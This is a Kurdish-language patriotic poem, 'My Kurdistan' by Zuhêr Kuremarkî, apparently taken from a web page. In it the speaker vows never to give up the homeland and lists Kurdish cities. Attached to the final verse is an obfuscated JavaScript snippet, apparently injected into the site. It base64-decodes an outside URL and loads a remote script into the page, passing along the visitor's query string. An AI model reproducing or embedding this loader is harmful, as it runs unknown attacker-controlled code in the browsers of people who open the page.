كوردستانا من

زوهێر كورەماركی

خاكا منە جهێ شێرا
نابیت رویڤی لێ بكەن گێرا
ئاش و دستاری دان هێرا
رۆح و جانێ مە هەر پێرا
كوردستانا من یا عەزیزە
ب دیگۆل و فرنسا نادەم
بەس خوینا خۆ دێ بۆ وێ دەم
بەرنادەم گەلو ئەز بەرنادەم
دەستا ژ خەباتێ بەرنادەم
دێ دارا دەولەتێ هەژینم و خۆ پێ دادەم
كورستانا من یا عەزیزە
ب دیگۆل و فرنسا نادەم
دێ دەم دێ دەم
بەس خوینا خۆ دێ بۆ وێ دەم.
نادەم نادەم وەلاتێ خۆ..
ب جیهانێ هەمیێ نادەم
دێ چاڤێن خۆ هەر رۆژ سەد جارا
ب جوانی و رندیا وی كلدەم و بادەم
ئەرێ بابۆ ما هوین نزانن قامشلۆكم
مەهاباد و ئەز دهۆكم
دیاربەكر و ئەز كەركۆكم
بۆ خەبانێ ئامادەمە و هەرێ كۆكم
كوردستانا من یا عەزیزە
ب دیگۆل و فرنسا نادەم
بەس خوینا خۆ دێ بۆ وێ دەم.
ئەرێ بابو پێشمەرگەمە ئەز شەرڤانم
شۆرشگێر و شۆرشڤانم
چەكێ شەرەفێ نادانم
ئازادیخواز و ماف زانم
بنگەهێ دەولەتێ دێ ب پێنووس و چەكی دانم
كوردستانا من یا عەزیزە
ب دیگۆل و فرنسا نادەم
بەس خوینا خۆ دێ بۆ وێ دەم !
هوسا یێ فێر و پەروەردەم
بهۆستەكا خاكا خۆ بەردەم
ئەڤە بوونە چەند سال و دەم؟
بها خوینە بێ دودلی ئەز هەرێ ددەم
نە منەتە و ئەركە دێ هەر دەم
كوردستانا من یا عەزیزە
ب دیگۆل و فرنسا نادەم
بەس خوینا خۆ دێ بۆ وێ دەم.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە